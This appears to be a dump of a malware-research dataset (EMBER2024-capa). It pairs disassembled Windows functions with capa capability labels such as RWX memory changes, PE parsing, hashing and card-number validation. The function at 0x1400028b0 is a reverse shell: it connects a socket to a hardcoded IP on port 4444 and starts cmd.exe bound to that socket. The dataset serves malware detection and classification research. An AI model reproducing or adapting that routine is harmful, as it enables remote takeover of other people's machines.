joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001850
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001980
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000189b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001925
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001880
mov rcx, rbx
call fcn.140002300
mov rdi, rax
test rax, rax
je 0x1400019a2
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002440
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001987
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000191e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001930
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000191e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400017e0
nop dword [rax]
xor esi, esi
jmp 0x1400018a8
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400017e0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400017e0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001fa4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f9b
test eax, eax
jne 0x140001f9b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f80
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004440]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002320
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000237d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002320
add rax, 0x28
cmp rax, r9
jne 0x140002360
xor eax, eax
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004440]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000239f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000239f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004440]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000245f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002468
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400028b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x3a0
call fcn.1400015f0
lea rdx, [rsp + 0x200]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov dword [rsp + 0x28], 0
mov ecx, 2
mov dword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x115c
mov rbx, rax
mov eax, 2
mov word [rsp + 0x50], ax
call qword [sym.imp.WS2_32.dll_htons]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov dword [rsp + 0x54], 0x35cbcec4
mov word [rsp + 0x52], ax
mov r8d, 0x10
call qword [sym.imp.WS2_32.dll_connect]
pxor xmm0, xmm0
lea rax, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0xb4], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.cmd.exe
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xc0], xmm0
movq xmm0, rbx
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0xe0], rbx
lea rbx, [rsp + 0xf0]
movups xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 0x101
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x104
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rbx
call fcn.140001450
xor eax, eax
add rsp, 0x3a0
pop rbx
ret
Function at 0x140014010
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140005f30
sub rsp, rax
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140012bf0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14001405f
mov rax, rbp
jmp 0x140014167
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x47c6d0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140015130
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x47c6d0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140014163
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014163
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140015130
test rax, rax
js 0x140014163
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140014163
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140014155
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140014155
cmp byte [rcx], 0xd
jne 0x14001413b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14001414a
cmp byte [rcx + 1], 0xa
jne 0x14001414a
inc rcx
jmp 0x14001414a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x2e480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14001411d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140014167
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140005b40
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140014388
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001439e
mov al, 1
jmp 0x1400143fe
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400143af
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400143fc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140018ae4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400143fc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400143fc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400143fc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400143fe
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400144d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14047c6d0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140014527
cmp word [rdx], r13w
jne 0x140014527
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001452c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140014651
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140014672
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140014565
mov rdx, r9
mov word [rbx], cx
jmp 0x14001458c
cmp r9, r8
jae 0x14001459c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140014546
jmp 0x140014651
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014646
cmp dword [rsp + 0x80], esi
je 0x140014646
lea r8, [0x14047c6d0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001461e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400145ee
mov word [rbx], r13w
jmp 0x14001464e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400145fb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001464e
cmp word [rsp + 0x70], r13w
jne 0x14001462b
cmp rbx, r14
je 0x1400145e8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140015138
cmp word [rsp + 0x70], r13w
je 0x140014651
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14047c6d0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001464b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140014651
Function at 0x1800043f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
mov eax, 0x1400
call fcn.18007c960
sub rsp, rax
mov rax, qword [0x1801d0100]
xor rax, rsp
mov qword [rsp + 0x13f0], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
call fcn.18007981c
mov edx, eax
mov dword [rsp + 0x13e4], 0xffffffff
mov dword [rsp + 0x64], eax
mov eax, 1
nop dword [rax]
nop dword [rax + rax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [rsp + rax*4 + 0x64], edx
inc rax
cmp rax, 0x270
jb 0x180004440
mov dword [rsp + 0x60], 0x270
lea rcx, [rsp + 0x60]
call fcn.18000a290
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d7f
ja 0x18000449a
lea rcx, [rsp + 0x60]
call fcn.18000a290
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d80
jb 0x180004480
shr rax, 0x20
add eax, 0x800186a0
btc eax, 0x1f
lea rcx, [0x1800dfe38]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 3
mov dword [rsp + 0x50], eax
movabs rax, 0x1000000000000000
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1800093a0
mov rax, rbx
mov rcx, qword [rsp + 0x13f0]
xor rcx, rsp
call fcn.18007bb00
add rsp, 0x1400
pop rbx
ret
Function at 0x18000a290
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x18000a2f1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x18000a2b0
mov ecx, dword [r9]
jmp 0x18000a3d8
cmp ecx, 0x4e0
jb 0x18000a3d8
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18000a310
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18000a360
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x1800238b0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x1800238d4
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x180023962
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x180023930
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x180023930
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.1800ab3c0
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18002394d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180023955
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x1800238f1
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x180023a40
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x180023979
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18002397b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800239ad
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.1800ab3c0
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x180023a3d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800239e8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x180023a1e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.18008fac8
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x180023a3d
cmp rsi, rax
ja 0x1800239f1
test rsi, rsi
je 0x180023a3d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.18008fac8
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret

Function at 0x18002a1a0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x18002a1d4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x18002a1c0
ret
Function at 0x18002e170
Capabilities:
Hash data using fnv

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbx, r8
mov r15, rdx
mov r14, rcx
movzx esi, byte [r8]
movabs rax, 0xcbf29ce484222325
xor rsi, rax
movabs rcx, 0x100000001b3
imul rsi, rcx
movzx eax, byte [r8 + 1]
xor rsi, rax
imul rsi, rcx
movzx eax, byte [r8 + 2]
xor rsi, rax
imul rsi, rcx
movzx eax, byte [r8 + 3]
xor rsi, rax
imul rsi, rcx
mov rdx, rsi
and rdx, qword [r14 + 0x30]
add rdx, rdx
mov rcx, qword [r14 + 0x18]
mov rax, qword [rcx + rdx*8 + 8]
lea r12, [r14 + 8]
mov rbp, qword [r12]
cmp rax, rbp
je 0x18002e222
mov rdx, qword [rcx + rdx*8]
mov ecx, dword [r8]
cmp ecx, dword [rax + 0x10]
je 0x18002e205
cmp rax, rdx
je 0x18002e21f
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x18002e1f7
mov qword [r15], rax
mov byte [r15 + 8], 0
mov rax, r15
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rbp, rax
movabs rax, 0xaaaaaaaaaaaaaaa
cmp qword [r14 + 0x10], rax
je 0x18002e3c2
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], 0
mov ecx, Ordinal_26
call fcn.18007bb28
mov rdi, rax
mov qword [rsp + 0x28], rax
mov eax, dword [rbx]
mov dword [rdi + 0x10], eax
mov rcx, qword [r14 + 0x10]
add rcx, 1
xorps xmm0, xmm0
js 0x18002e26f
cvtsi2ss xmm0, rcx
jmp 0x18002e284
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rbx, qword [r14 + 0x38]
movss xmm3, dword [r14]
xorps xmm2, xmm2
test rbx, rbx
js 0x18002e29c
cvtsi2ss xmm2, rbx
jmp 0x18002e2b4
mov rcx, rbx
shr rcx, 1
mov rax, rbx
and eax, 1
or rcx, rax
cvtsi2ss xmm2, rcx
addss xmm2, xmm2
movaps xmm1, xmm0
divss xmm1, xmm2
comiss xmm1, xmm3
jbe 0x18002e368
divss xmm0, xmm3
call fcn.1800ab1b0
xor ecx, ecx
movss xmm1, dword [0x1801ba450]
comiss xmm0, xmm1
jb 0x18002e2f2
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x18002e2f2
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x18002e324
cmp rbx, 0x200
jae 0x18002e321
lea rbx, [rbx*8]
cmp rbx, rcx
jae 0x18002e324
mov rbx, rcx
mov rdx, rbx
mov rcx, r14
call fcn.180031d70
mov rcx, rsi
and rcx, qword [r14 + 0x30]
add rcx, rcx
mov rdx, qword [r14 + 0x18]
mov rax, qword [rdx + rcx*8 + 8]
mov rbp, qword [r12]
cmp rax, rbp
je 0x18002e368
mov rdx, qword [rdx + rcx*8]
mov ecx, dword [rdi + 0x10]
cmp ecx, dword [rax + 0x10]
je 0x18002e365
cmp rax, rdx
je 0x18002e399
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x18002e357
mov rbp, qword [rax]
mov rcx, qword [rbp + 8]
inc qword [r14 + 0x10]
mov qword [rdi], rbp
mov qword [rdi + 8], rcx
mov qword [rcx], rdi
mov qword [rbp + 8], rdi
mov rax, qword [r14 + 0x18]
and rsi, qword [r14 + 0x30]
add rsi, rsi
mov rdx, qword [rax + rsi*8]
cmp rdx, qword [r12]
jne 0x18002e39e
mov qword [rax + rsi*8], rdi
jmp 0x18002e3b0
mov rbp, rax
jmp 0x18002e368
cmp rdx, rbp
jne 0x18002e3a9
mov qword [rax + rsi*8], rdi
jmp 0x18002e3b5
cmp qword [rax + rsi*8 + 8], rcx
jne 0x18002e3b5
mov qword [rax + rsi*8 + 8], rdi
mov qword [r15], rdi
mov byte [r15 + 8], 1
jmp 0x18002e20d
lea rcx, str.unordered_map_set_too_long
call fcn.18007921c
int3
Function at 0x180031d70
Capabilities:
Hash data using fnv

Disassembly:
push rbx
push rsi
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov ebx, 1
mov eax, ebx
shl rax, cl
cmp rdx, rax
ja 0x180031f1d
lea rax, [rdx - 1]
mov qword [rsp + 0x58], rdi
mov rdi, qword [rsi + 8]
or rax, rbx
bsr rcx, rax
mov r8, rdi
mov qword [rsp + 0x20], r14
inc ecx
shl rbx, cl
lea rcx, [rsi + 0x18]
lea rdx, [rbx + rbx]
call fcn.180028df0
mov qword [rsi + 0x38], rbx
lea rax, [rbx - 1]
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 8]
mov rcx, qword [rcx]
cmp rcx, rdi
je 0x180031ee6
mov qword [rsp + 0x50], rbp
mov rax, rcx
movabs rbp, 0xcbf29ce484222325
movabs rbx, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rcx, qword [rcx]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x12]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x13]
imul r9, rbx
xor r9, rdx
imul r9, rbx
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rdi
jne 0x180031e60
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180031ed5
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x180031e9d
mov r10, qword [rdx]
cmp r10, rax
je 0x180031e97
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180031ed5
cmp r9, rdx
je 0x180031eb1
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x180031ef7
cmp r9, rdx
jne 0x180031ea2
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rdi
jne 0x180031e10
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop rsi
pop rbx
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180031ed5
lea rcx, str.invalid_hash_bucket_count
call fcn.18007921c
int3
Function at 0x18003a5d0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x18003a695
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x18003a695
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x18003a6ae
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x18003a685
cmp byte [rcx], 0x5c
jne 0x18003a67e
lea rdx, [rcx + 1]
cmp rdx, rax
je 0x18003a67e
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x18003a66c
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x18003a67b
test r8b, 0x10
jne 0x18003a67e
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x18003a67e
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.180032630
test edi, edi
